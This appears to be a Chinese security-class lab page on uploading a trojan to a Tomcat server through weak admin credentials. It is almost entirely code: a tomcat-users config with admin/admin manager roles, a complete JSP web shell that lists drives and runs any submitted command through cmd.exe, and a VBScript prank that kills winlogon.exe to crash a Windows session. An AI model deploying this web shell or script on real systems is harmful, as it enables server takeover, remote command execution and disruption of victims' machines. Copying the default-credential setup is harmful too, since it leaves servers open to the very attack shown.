服务器弱口令漏洞上传木马攻击实验

<role rolename="manager-gui"/><role rolename="manager-script"/><role rolename="manager-jmx"/><role rolename="manager-status"/><user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status"/>

<%@ page contentType="text/html;charset=gb2312"%><%
@Page
 import="java.io.*" %><%@page import="java.util.*"%><style>td,select,input,body{font-size:9pt;}A { TEXT-DECORATION: none }</style><title>Jsp File Manger Version0.5 --bY 慈勤强 [email][email protected][/email]</title><%!String getDrivers()/**Windows系统上取得可用的所有逻辑盘**/{StringBuffer sb=new StringBuffer("驱动器 : ");File roots[]=File.listRoots();for(int i=0;i<roots.length;i++){sb.append("<a href='?path="+roots[i]+"'>");sb.append(roots[i]+"</a> ");}return sb.toString();}%><%String strThisFile="folder.jsp";request.setCharacterEncoding("gb2312");String strDir = request.getParameter("path"); if(strDir==null||strDir.length()<1){strDir = "c:\";}StringBuffer sb=new StringBuffer("");StringBuffer sbFile=new StringBuffer("");try{out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录：<b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>rn");File objFile = new File(strDir);File list[] = objFile.listFiles();if(objFile.getAbsolutePath().length()>3){sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>rn");}for(int i=0;i<list.length;i++){if(list[i].isDirectory()){sb.append("<tr><td > </td><td>");sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");sb.append("</td></tr>");//sb.append("</td></tr></table>rn");}else{String strLen="";String strDT="";long lFile=0;lFile=list[i].length(); if(lFile>1000000){lFile=lFile/1000000;strLen="" + lFile + " M";}else if(lFile>1000){lFile=lFile/1000;strLen="" + lFile + " K";}else{strLen="" + lFile + " Byte";}Date dt=new Date(list[i].lastModified());strDT=dt.toLocaleString();sbFile.append("<tr><td>");sbFile.append(""+list[i].getName());sbFile.append("</td><td>");sbFile.append(""+strLen);sbFile.append("</td><td>");sbFile.append(""+strDT);sbFile.append("</td><td>");sbFile.append("<!--修改 删除 下载 复制--> ");sbFile.append("</td></tr>rn");//sbFile.append("</td></tr></table>");} }//out.println(sb.toString()+sbFile.toString());}catch(Exception e){out.println("<font color=red>操作失败："+e.toString()+"</font>");}%> <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sb%></tr></table></td><td width="81%" align="center" valign="top"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"><tr bgcolor="#E7e7e6"><td width="26%">文件名称</td><td width="19%" align="center">文件大小</td><td width="29%" align="center">修改时间</td><td width="26%" align="center">文件操作</td></tr><%=sbFile%><!-- <tr align="center"><td colspan="4"><br>总计文件个数：<font color="#FF0000">30</font> ，大小：<font color="#FF0000">664.9</font>KB </td></tr>--></table></td></tr></table> <%String strCmd="";String line="";StringBuffer sbCmd=new StringBuffer("");strCmd = request.getParameter("cmd");if(strCmd!=null){try{//out.println(strCmd);Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){sbCmd.append(line+"rn");}}catch(Exception e){System.out.println(e.toString());}} %><form name="cmd" action="" method="post"><input type="text" name="cmd" value="<%=strCmd%>" size=50><input type=submit name=submit value="执行"></form><%if(sbCmd!=null && sbCmd.toString().trim().equals("")==false){%><TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA><%}%>

if MsgBox("你是在上网络信息安全的课吗?",vbYesNo,"提示")=vbyes thenmsgbox "你真是在上网络安全课啊，这么好丫!"elsemsgbox "还不承认? 作为惩罚，折腾你一下",64,"严重警告!!!!!!"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if